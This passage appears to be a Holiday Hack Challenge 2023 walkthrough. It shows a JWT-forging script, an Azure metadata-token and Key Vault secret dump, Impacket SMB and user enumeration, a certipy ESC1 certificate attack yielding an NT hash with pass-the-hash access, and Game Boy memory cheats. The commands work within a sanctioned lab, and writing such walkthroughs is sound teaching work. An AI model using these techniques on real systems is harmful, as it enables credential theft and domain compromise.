algorithm = "RS256"
payload = {
"iss": "HHC 2023 Captain's Comms",
"iat": 1699485795.3403327,
"exp": 1809937395.3403327,
"aud": "Holiday Hack 2023",
"role": role,
}
token = jwt.encode(payload=payload, key=PRIVATE_KEY, algorithm=algorithm)
return token
def check_role(role, jwt_token):
"""Checks a jwt token based on a given role."""
x_request = ROLES[role]
if x_request:
headers = {
"Cookie": f"justWatchThisRole={jwt_token}; CaptainsCookie={jwt_token}",
"Authorization": f"Bearer {jwt_token}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
"X-Request-Item": x_request,
}
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.get(url="https://captainscomms.com/checkRole", headers=headers, proxies=proxies, verify=False)
print(r.text)
if "Warning" not in r.text:
print(f"[+] {role} was valid.")
else:
print(f"[-] {role} was invalid.")
def main():
# Generate JWT
while True:
lower_keys = list(map(str.lower, ROLES.keys()))
role_str = ", ".join(ROLES.keys())
role_input = input(f"What role would you like to generate ({role_str}): ").lower()
if role_input.lower() not in lower_keys:
print("Invalid role. Please choose a valid role.")
continue
else:
role = list(ROLES.keys())[lower_keys.index(role_input.lower())]
jwt_token = get_jwt(role)
print(f"Role: {role}, JWT token {jwt_token}")
# Check role
r = check_role(role, jwt_token)
if __name__ == "__main__":
main()
$ python3 jwtgen.py
What role would you like to generate (radioUser, radioMonitor, radioDecoder, GeeseIslandsSuperChiefCommunicationsOfficer): GeeseIslandsSuperChiefCommunicationsOfficer
Role: GeeseIslandsSuperChiefCommunicationsOfficer, JWT eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng
captainsTX.gif,1
[+] GeeseIslandsSuperChiefCommunicationsOfficer was valid.
After changing our authorization header we can access the radio:
Radio Frequency and Go-Date/Time⚓︎
Previously from the FX output: 10426
HZ
Previously from the NUM output: 12249 16009
Previously from Background: "The captain would like to find their anticipated 'go-time' frequency, the planned date and hour for their incursion, and lure the miscreants ashore at a time when the island authorities are sufficiently prepared and ready by transmitting a message announcing a new 'go-time' which is four hours earlier than what the miscreants planned"
The Frequency is directly from the FX output of 10426
Hz.
The NUM should contain a date and time field. The numbers all end in a consistent 9
and since the input fields are 4-digit max, and we are presumably looking for a date in December 12
... The date is the first output: 1224
which correlates to December 24th. The time is the second output: 1600
which correlates to 4 PM. If we were to enter this time in, it would be identical to what was received.
Intercepted Frequency: 10426
HZ Go-Date: 1224
Go-Time: 1600
However, per the background, we need to subtract 4 hours from the time:
Correct Frequency: 10426
HZ Go-Date: 1224
Go-Time: 1200
Clicking Transmit (Tx) Button on the radio:
Achievement
Congratulations! You have completed the The Captain's Comms challenge!
Port of Coggoggle Marina⚓︎
While exploring the Steampunk Island, we discover the Port of Coggoggle Marina. Upon reaching it, a "Dock Now" option is presented to us.
The dock featured the Angel Candysalt on Steampunk Island to greet us!
When we make land, we obtain new objectives on arrival.
Active Directory (Steampunk Island)
Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What's the name of the secret file in the inaccessible folder on the FileShare?
Full Island (Zoomed Out)
Active Directory⚓︎
Active Directory (Steampunk Island)
Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What's the name of the secret file in the inaccessible folder on the FileShare?
If we go to the right of the dock in Coggoggle Marina on Steampunk Island, we find Ribb Bonbowford!
When speaking with Ribb Bonbowford, we obtain the following hint:
Useful Tools
It looks like Alabaster's SSH account has a couple of tools installed which might prove useful.
Ribb Bonbowford
I'm worried because our Active Directory server is hosted there and Wombley Cube's research department uses one of its fileshares to store their sensitive files.
On Pixel Island, we also an obtained a hint from Alabaster Snowball on the completion of Certificate SSHenanigans:
Misconfiguration ADventures
Certificates are everywhere. Did you know Active Directory (AD) uses certificates as well? Apparently the service used to manage them can have misconfigurations too.
Azure Key Vault⚓︎
Using the following curl
commands to the Azure API, we were able to enumerate Azure Key Vaults and obtain the credentials of the elfy
user!
Enumerating available azure key vaults:
access_token=$(curl -s 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H 'Metadata: true' | jq -r '.access_token')
curl -s -H "Authorization: Bearer $access_token" "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults?api-version=2019-09-01" | jq .
{
"value": [
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
"name": "northpole-it-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {},
"properties": {
"sku": {
"family": "A",
"name": "Standard"
},
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"accessPolicies": [],
"enabledForDeployment": false,
"enabledForDiskEncryption": false,
"enabledForTemplateDeployment": false,
"enableSoftDelete": true,
"softDeleteRetentionInDays": 90,
"enableRbacAuthorization": true,
"vaultUri": "https://northpole-it-kv.vault.azure.net/",
"provisioningState": "Succeeded"
}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
"name": "northpole-ssh-certs-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {},
"properties": {
"sku": {
"family": "A",
"name": "standard"
},
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"accessPolicies": [
{
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"objectId": "0bc7ae9d-292d-4742-8830-68d12469d759",
"permissions": {
"keys": [
"all"
],
"secrets": [
"all"
],
"certificates": [
"all"
],
"storage": [
"all"
]
}
},
{
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"objectId": "1b202351-8c85-46f1-81f8-5528e92eb7ce",
"permissions": {
"secrets": [
"get"
]
}
}
],
"enabledForDeployment": false,
"enableSoftDelete": true,
"softDeleteRetentionInDays": 90,
"vaultUri": "https://northpole-ssh-certs-kv.vault.azure.net/",
"provisioningState": "Succeeded"
}
}
],
"nextLink": "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults?api-version=2019-09-01&$skiptoken=bm9ydGhwb2xlLXNzaC1jZXJ0cy1rdg=="
}
Fetching Secrets from northpole-it-kv
key vault and the tmpAddUserScript
contents (with formatting).
access_token=$(curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" -H 'Metadata: true' | jq -r '.access_token')
curl -s -H "Authorization: Bearer $access_token" "https://northpole-it-kv.vault.azure.net/secrets?api-version=2016-10-01" | jq .
curl -s -H "Authorization: Bearer $access_token" 'https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?api-version=2016-10-01' | jq -r .value | sed 's/; /\n/g'
Import-Module ActiveDirectory
$UserName = "elfy"
$UserDomain = "northpole.local"
$UserUPN = "$UserName@$UserDomain"
$Password = ConvertTo-SecureString "J4`ufC49/J4766" -AsPlainText -Force
$DCIP = "10.0.0.53"
New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname "" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru
Enumerate SMB Share (elfy)⚓︎
Connect to an SMB server and obtain files with Impacket's smbclient.py
:
alabaster@ssh-server-vm:~$ smbclient.py 'northpole.local/elfy:J4`ufC49/J4766'@10.0.0.53
# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL
# use FileShare
# ls
drw-rw-rw- 0 Mon Jan 1 01:15:54 2024 .
drw-rw-rw- 0 Mon Jan 1 01:15:51 2024 ..
-rw-rw-rw- 701028 Mon Jan 1 01:15:54 2024 Cookies.pdf
-rw-rw-rw- 1521650 Mon Jan 1 01:15:54 2024 Cookies_Recipe.pdf
-rw-rw-rw- 54096 Mon Jan 1 01:15:54 2024 SignatureCookies.pdf
drw-rw-rw- 0 Mon Jan 1 01:15:54 2024 super_secret_research
-rw-rw-rw- 165 Mon Jan 1 01:15:54 2024 todo.txt
# mget *
[*] Downloading Cookies.pdf
[*] Downloading Cookies_Recipe.pdf
[*] Downloading SignatureCookies.pdf
[*] Downloading todo.txt
Within the contents of todo.txt
, it mentions only researchers
have access to the folder. Lets enumerate who is a researcher on the domain!
1. Bake some cookies.
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit
Enumerate Users⚓︎
Connect to the domain controller and obtain user information using Impacket's GetADUsers.py
:
alabaster@ssh-server-vm:~$ GetADUsers.py -all -dc-ip 10.0.0.53 'northpole.local/elfy:J4`ufC49/J4766'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Querying 10.0.0.53 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
alabaster 2023-12-31 17:03:53.904578 2024-01-01 04:47:34.127510
Guest <never> <never>
krbtgt 2024-01-01 01:12:45.428030 <never>
elfy 2024-01-01 01:15:00.062070 2024-01-01 23:54:12.109625
wombleycube 2024-01-01 01:15:00.202697 2024-01-02 00:15:12.848081
Enumerate Certificates⚓︎
Connect to the domain controller of northpole.local
at 10.0.0.53 and enumerate the vulnerable certificates:
alabaster@ssh-server-vm:~$ certipy find -vulnerable -u elfy@northpole.local -p 'J4`ufC49/J4766' -target-ip 10.0.0.53 -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : northpole-npdc01-CA
DNS Name : npdc01.northpole.local
Certificate Subject : CN=northpole-npdc01-CA, DC=northpole, DC=local
Certificate Serial Number : 7099E7E2AE353AB844CFF84150AC1585
Certificate Validity Start : 2024-01-01 01:07:47+00:00
Certificate Validity End : 2029-01-01 01:17:46+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : NORTHPOLE.LOCAL\Administrators
Access Rights
ManageCertificates : NORTHPOLE.LOCAL\Administrators
NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
ManageCa : NORTHPOLE.LOCAL\Administrators
NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
Enroll : NORTHPOLE.LOCAL\Authenticated Users
Certificate Templates
0
Template Name : NorthPoleUsers
Display Name : NorthPoleUsers
Certificate Authorities : northpole-npdc01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Domain Users
NORTHPOLE.LOCAL\Enterprise Admins
Object Control Permissions
Owner : NORTHPOLE.LOCAL\Enterprise Admins
Write Owner Principals : NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
Write Dacl Principals : NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
Write Property Principals : NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
[!] Vulnerabilities
ESC1 : 'NORTHPOLE.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
ESC1 Certificate Attack⚓︎
References: https://github.com/ly4k/Certipy#esc1 ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).
Per certipy
enumeration output, we can perform a ESC1 attack using the NorthPoleUsers
certificate template and request an authentication certificate for any other user. Lets try this on the two other users in the domain: alabaster
and wombleycube
Request a certificate via RPC for wombleycube
and we were successful:
alabaster@ssh-server-vm:~$ certipy req -u elfy@northpole.local -p 'J4`ufC49/J4766' -target-ip 10.0.0.53 -ca northpole-npdc01-CA -target npdc01.northpole.local -template NorthPoleUsers -ns 10.0.0.53 -dns-tcp -upn wombleycube@northpole.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 42
[*] Got certificate with UPN 'wombleycube@northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'
alabaster@ssh-server-vm:~$ certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
Enumerate SMB Share (wombleycube)⚓︎
Connect to an SMB server and obtain files with Impacket's smbclient.py
:
alabaster@ssh-server-vm:~$ smbclient.py -hashes ':5740373231597863662f6d50484d3e23' 'northpole.local/wombleycube@10.0.0.53'
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL
# use FileShare
# cd super_secret_research
# ls
drw-rw-rw- 0 Mon Jan 1 01:15:54 2024 .
drw-rw-rw- 0 Mon Jan 1 01:15:54 2024 ..
-rw-rw-rw- 231 Mon Jan 1 01:15:54 2024 InstructionsForEnteringSatelliteGroundStation.txt
# get InstructionsForEnteringSatelliteGroundStation.txt
# exit
Read the file InstructionsForEnteringSatelliteGroundStation.txt
:
Note to self:
To enter the Satellite Ground Station (SGS), say the following into the speaker:
And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.
We enter in the answer into our badge for the objective:
Answer: InstructionsForEnteringSatelliteGroundStation.txt
Achievement
Congratulations! You have completed the AD challenge!
Port of Rusty Quay⚓︎
While exploring the Steampunk Island, we discover the Port of Rusty Quay. Upon reaching it, a "Dock Now" option is presented to us.
The dock features Angel Candysalt to greet us!
When we make land, we obtain new objectives on arrival.
Game Cartridges: Vol 1 (Island of Misfit Toys)
Find the first Gamegosling cartridge and beat the game
Game Cartridges: Vol 2 (Pixel Island)
Find the second Gamegosling cartridge and beat the game
Game Cartridges: Vol 3 (Steampunk Island)
Find the third Gamegosling cartridge and beat the game
Full Island (Zoomed Out)
Game Cartridges: Vol 3⚓︎
Game Cartridges: Vol 3 (Steampunk Island)
Find the third Gamegosling cartridge and beat the game
If we go to the right of the dock, we find Angel Candysalt.
When speaking with Angel Candysalt, we obtain the following hints:
Buried Treasures
There are 3 buried treasures in total, each in its own uncharted area around Geese Islands. Use the gameboy cartridge detector and listen for the sound it makes when treasure is nearby, which gets louder the closer you are. Also look for some kind of distinguishing mark or feature, which could mark the treasure's location.
Bird's Eye View
The location of the treasure in Rusty Quay is marked by a shiny spot on the ground. To help with navigating the maze, try zooming out and changing the camera angle.
He also equips us with a tool named the Game Boy Cartridge Detector
to assist in locating cartridges within the upcoming maze. In total, there are three cartridges hidden throughout the maze for us to discover.
Finding the Game Cartridge⚓︎
When we get in the maze, we can zoom out to 30% to identify a path to the Cartridge!
We can now find the "Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol3" in our Items:
When we click on the game in our inventory, it launches from https://gamegosling.com/vol3-7bNwQKGBFNGQT1/ with a Gameboy ROM of game.gb.
Speaking with Angel Candysalt after we obtained the game cartridge, we obtain the following hint:
Gameboy 3
This one is a bit long, it never hurts to save your progress! 2) 8bit systems have much smaller registers than you’re used to. 3) Isn’t this great?!? The coins are OVERFLOWing in their abundance.
Vol 3 Gameplay⚓︎
Using visualboyadvance-m to emulate a GameBoy, it has a lot of tools to help analyze and hack a gameboy game.
In visualboyadvance-m
emulator, the K key is mapped to the B button, and L key is mapped to the A button. The WASD keys are to move.
We can also use BGB to emulate a GameBoy. It also has a lot of tools to help us analyze and hack a gameboy game.
In BGB
emulator, the A key is mapped to the B button, and S key is mapped to the A button. The arrow keys are to move.
Opening up the game, we are displayed with COUNTER HACK Presents - Elf the Dwarf's Gloriously Unfinished, Adventure! - Vol. 1
:
*PREVIOUSLY ON...
Elf: GLOOOOOR....
T-wiz: Just a second Elf.
As Vol3 seems pretty buggy and coins seem to disappear after you save. You should know that my magic is available.
Elf: Oh! *cough*
Thanks for letting me know!
GLOOOOOOOOOOORY!
After the speech, we exit the cave. Note: we have a coin-counter and also the diamond is a save/load feature!
Exiting the cave:
Collecting coins is achieved by executing jumps, and enemies can also be defeated by jumping on them using the "A" button. Mastering the jumping mechanism is crucial for both accumulating coins and overcoming adversaries in the game.
Upon manually accumulating 999 coins or more, an error occurs, resulting in the reset of our coin count to 0. This issue needs investigation to understand the cause and implement a resolution.
Finding the Coin Value Memory Address⚓︎
Utilizing the BGB cheat searcher for the task, we initiate the search for 8-bit values. Beginning with a coin count of 0, we increment each digit of the coins by 1 sequentially (111 -> 222 -> 333), searching for values that are "not equal to the previous value." As we progress, narrowing down the search, we ultimately identify a couple of addresses associated with the coin count, particularly when our coins reach 444. This enables us to manipulate and freeze these addresses to set the coin count to a maximum of 999.
We can freeze all 6 of these final addresses, but I wanted to map them to their actual usage:
Changing CBA2
from 05
to 08
reflected in the game when moving in/out of frame for the integer values of the coins (one's place = 00X
):
Changing CB9C
from 05
to 03
reflected in the game when moving in/out of frame for the integer values of the coins (ten's place = 0X0
):
Changing CB9E
from 05
to 07
reflected in the game when moving in/out of frame for the integer values of the coins (hundred's place = X00
):
We can freeze these 3 values so they don't change from 999:
The other addresses of are for the current value of coins (on the screen, but not the actual when its loaded)
Finding the Position Memory Address⚓︎
By navigating and continuously updating the BGB cheat searcher, we identified the memory address C0BB
responsible for storing our horizontal location. Armed with this information, we can manually adjust the value at C0BB
, enabling us to "jump" and effortlessly conquer obstacles or navigate gaps that would typically present a challenge in the game.
Endgame⚓︎
Upon successfully navigating through the three levels, we encounter Jared:
Upon reaching the other side, we enter a tunnel or door that leads us into a new room.
Engaging in conversation with the Grumpy Man, he shares a unique phrase meant for ChatNPT, acknowledging me as an ultimate hacker in light of the remarkable feat of collecting 999 coins.
Speaking to ChatNPT, he makes it so I can move a rock and we receive the flag!
We enter in the answer into our badge for the objective:
Answer: !tom+elf!
Achievement
Congratulations! You have completed the Game Cartridges: Vol 3 challenge!